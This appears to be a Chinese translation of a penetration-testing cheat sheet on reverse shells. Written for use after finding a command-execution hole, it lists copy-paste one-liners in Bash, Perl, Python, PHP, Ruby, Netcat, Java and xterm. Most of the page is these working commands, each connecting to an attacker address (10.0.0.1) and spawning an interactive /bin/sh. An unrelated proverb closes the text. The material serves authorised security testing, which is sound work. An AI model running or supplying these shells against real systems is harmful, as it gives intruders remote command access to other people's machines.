如果你有幸在渗透测试中发现了命令执行漏洞,那么不久之后你可能需要一个交互式shell。
如果无法添加新帐户/ SSH密钥/ .rhosts文件并登录,则下一步可能是拖回反向shell或将shell绑定到TCP端口。 本页讨论前者。
创建反向 shell 的选项受到目标系统上安装的脚本语言的限制 - 尽管如果您准备充分,您也可以上传二进制程序。
所示示例是针对类 Unix 系统量身定制的。 下面的一些示例也适用于Windows,如果你使用“/bin/sh -i”替换“cmd.exe”。
下面的每种方法都旨在成为您可以复制/粘贴的单行代码。 因此,它们是很短的行,但不是很好读。
Bash
某些版本的 bash 可以向您发送反向 shell(这在 Ubuntu 10.10 上进行了测试):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
下面是 perl-reverse-shell 的一个更短的、无功能的版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
这里还有一个替代的PERL revere shell。
Python
这是在Linux / Python 2.7下测试的:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
此代码假定 TCP 连接使用文件描述符 3。 这适用于我的测试系统。 如果不起作用,请尝试 4、5、6...
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
如果你想上传一个.php文件,请参阅功能更强大、更健壮的 php-reverse-shell。
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
Netcat很少出现在生产系统上,即使它有几个版本的netcat,其中一些不支持-e选项。
nc -e /bin/sh 10.0.0.1 1234
如果你安装了错误版本的netcat,Jeff Price在这里指出,你仍然可以像这样恢复你的反向shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm
反向外壳的最简单形式之一是 xterm 会话。 应在服务器上运行以下命令。 它将尝试在 TCP 端口 6001 上重新连接到您 (10.0.0.1)。
xterm -display 10.0.0.1:1
要捕获传入的 xterm,请启动 X 服务器 (:1 – 侦听 TCP 端口 6001)。 一种方法是使用 Xnest(在您的系统上运行):
Xnest :1
您需要授权目标连接到你(命令也在主机上运行):
xhost +targetip
Further Reading
另请查看Bernardo的Reverse Shell one-linerers。 他有一些替代方法,并且不依赖 /bin/sh 作为他的 Ruby 反向 shell。
这里有一个用gawk写的反向外壳。 Gawk不是我自己用过的东西。 但是,它似乎经常在默认情况下安装,因此正是渗透测试人员可能想要用于反向外壳的语言。

三十年河东,三十年河西